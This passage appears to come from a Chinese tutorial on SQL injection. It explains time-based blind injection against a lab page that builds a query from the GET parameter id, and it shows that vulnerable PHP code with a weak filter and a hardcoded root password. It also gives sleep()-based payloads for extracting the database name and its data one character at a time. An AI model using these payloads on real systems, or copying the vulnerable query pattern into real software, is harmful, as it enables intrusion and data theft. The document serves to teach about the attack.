我们可以用这种方法查询出剩下的所有表名和字段,只需要构造相关的SQL语句就可以了。

时间盲注攻击

先看代码

<?php
$con=mysqli_connect("localhost","root","XFAICL1314","dvwa");
if (mysqli_connect_error())
{
    echo "连接失败:".mysqli_error();
}
$id=$_GET[\'id\'];
if (preg_match("/union/i",$id)){
    exit("<html><body>no</body></html>");
}
$result=mysqli_query($con,"select * from users where `user_id`=".$id);
$row=mysqli_fetch_array($result);
if ($row){
    exit("<html><body>yes</body></html>");
}
else{
    exit("<html><body>no</body></html>");
}
?>

查看代码,在时间盲注页面中,程序获取GET参数id,通过preg_match()函数判断是否存在union危险字符,然后将id拼接到SQL语句中,并带入数据库查询。如果有结果返回yes,没有结果返回no。不返回数据库中的任何数据。
它与布尔盲注的不同在于,时间盲注是利用sleep()或benchmark()等函数让执行时间变长。一般和if(expr1,expr2,expr3)结合使用,这里的if语句的含义为如果expr1为真,则if()返回expr2,否则返回expr3。所以判断数据库的长度,咱们构造的语句如下
if (length(database())>3,sleep(5),1) #判断数据库长度,如果大于3,休眠5秒,否则查询1


由上面图片,我们通过时间可以判断出,数据库的长度为4。
得到长度后,通过substr()来查询数据库的第一个字母,这里和布尔盲注很类似,构造如下语句。
and if (substr(database(),1,1)=库的第一个字母,sleep(5),1)

依次进行猜解。依次类推,可以猜解出数据库完整的库名,表名,字段名和具体数据。手工的话依旧是一个浩大的工程,一般借助工具。

小结

今天对union注入、布尔盲注、报错注入、时间盲注的原理和代码进行了简单的分析。在第二篇文章中,会对堆叠注入、二次注入、宽字节注入、cookie注入等进行简单的分析。
参考文献:Web安全攻防

以上是关于SQL注入基础原理与案例(详细总结)的主要内容,如果未能解决你的问题,请参考以下文章

20175110 王礼博 Exp 9 Web安全基础

常见漏洞总结

拼搏百天我要日站——SQL注入基础原理

拼搏百天我要日站——SQL注入基础原理

文库 | SQL注入知识总结

2017-2018-1 《Linux内核原理与设计》第十二周作业